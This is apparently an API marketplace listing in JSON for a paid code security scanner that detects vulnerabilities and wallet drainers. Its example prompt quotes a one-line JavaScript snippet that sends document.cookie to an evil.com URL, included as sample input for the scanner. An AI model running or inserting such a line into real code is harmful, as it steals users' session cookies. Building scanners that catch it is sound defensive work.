{"uid":"cap_3A79QMjMI57MYw3HXksuW","slug":"scanpay-code-security-scanner-74e5b2e5","name":"ScanPay Code Security Scanner","description":"Deterministic AST code security scanner with x402 Solana micropayments, remote MCP, and ERC-8183 Evaluator oracle.","url":"https://scanpay-ob3w.onrender.com/api/v1/scan?utm_source=zero.xyz","method":"POST","headers":{},"bodySchema":{"type":"object","required":["source_code"],"properties":{"language":{"type":"string","description":"'python', 'javascript', 'typescript', or 'tsx'"},"source_code":{"type":"string","description":"Source code to scan for vulnerabilities & drainers"}}},"responseSchema":{"type":"json","example":{"findings":[],"execution_gate":{"verdict":"PASS","risk_score":0,"allow_execution":true},"findings_count":0}},"example":null,"exampleRequest":null,"tags":["x402"],"displayCostAmount":"0.1","displayCostAsset":"USDC","priceDynamic":false,"priceHint":null,"priceStatus":"priced","priceSource":"probe","requiresHandshake":false,"reviewCount":0,"rating":{"score":"0.00","successRate":"0.00","reviews":0,"stars":null,"state":"unrated"},"availabilityStatus":"unknown","priceObserved":null,"sessionDeposit":null,"pricing":{"kind":"static","summary":"$0.1/call","primary":{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.1","per":"call","confidence":"exact"},"accepted":[{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.1","per":"call","confidence":"exact"}]},"paymentMethods":[{"uid":"pm_EeBRfID4_kAjqO9r57Wze","protocol":"x402","methodType":"crypto","chain":"base","mode":"charge","costAmount":"0.1","costPer":"request","priority":0,"asset":"0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913","unit":"request","depositMicros":null,"planRef":null}],"brandName":null,"brandSlug":null,"brandBaseUrl":null,"brandDocsUrl":null,"whatItDoes":"Scans source code for security vulnerabilities and drainers using AST analysis, returning findings and an execution gate verdict","exampleAgentPrompt":"Can you scan this JavaScript code for vulnerabilities and tell me if it's safe to run? Here's the source: `fetch('https://evil.com/steal?k='+document.cookie)`","exampleUseCases":[{"title":"Pre-deployment smart contract audit","prompt":"Before I deploy this Solidity/TypeScript wrapper script, can you run it through a security scanner and tell me if there are any drainers or critical vulnerabilities? Here's the code: [paste TypeScript source]"},{"title":"Wallet drainer detection in DeFi frontend","prompt":"I found this suspicious JavaScript snippet in a DeFi app's frontend — can you scan it for wallet drainers or anything malicious and give me a risk score?"},{"title":"CI pipeline code security gate","prompt":"I need to check this Python script for security issues before my CI pipeline executes it — run a security scan and tell me whether execution should be allowed or blocked."}],"resultDescription":"Returns a JSON object with a list of security findings (each describing a detected vulnerability or drainer pattern), a findings_count integer, and an execution_gate object containing a verdict (PASS or FAIL), a numeric risk_score, and a boolean allow_execution flag indicating whether the code is safe to run.","failureModes":["Missing source_code field returns a validation error","Unsupported language value results in rejection or unrecognized scan","Extremely large source code payloads may time out or be rejected","Payment failure (x402) blocks the request before scanning","Empty or minified code may reduce detection accuracy"],"whenToPreferThis":"Choose this endpoint when you need a deterministic, AST-based security verdict on Python, JavaScript, TypeScript, or TSX source code — especially when you need a machine-readable allow/block execution gate rather than just a list of warnings. It is particularly suited for agent-driven pipelines that must decide whether to execute untrusted code, or for detecting wallet drainer patterns in web3 frontend code.","instructions":null,"reviewSummary":null,"reviewSummaryHighlights":null,"reviewSummaryConcerns":null,"reviewSummaryGeneratedAt":null,"activationCount":0,"lastUsedAt":null,"lastSuccessfullyRanAt":null,"lastHealthCheckAt":"2026-10-31T18:39:48.045Z","isFirstParty":false,"canonicalSlug":"scanpay-code-security-scanner-74e5b2e5"}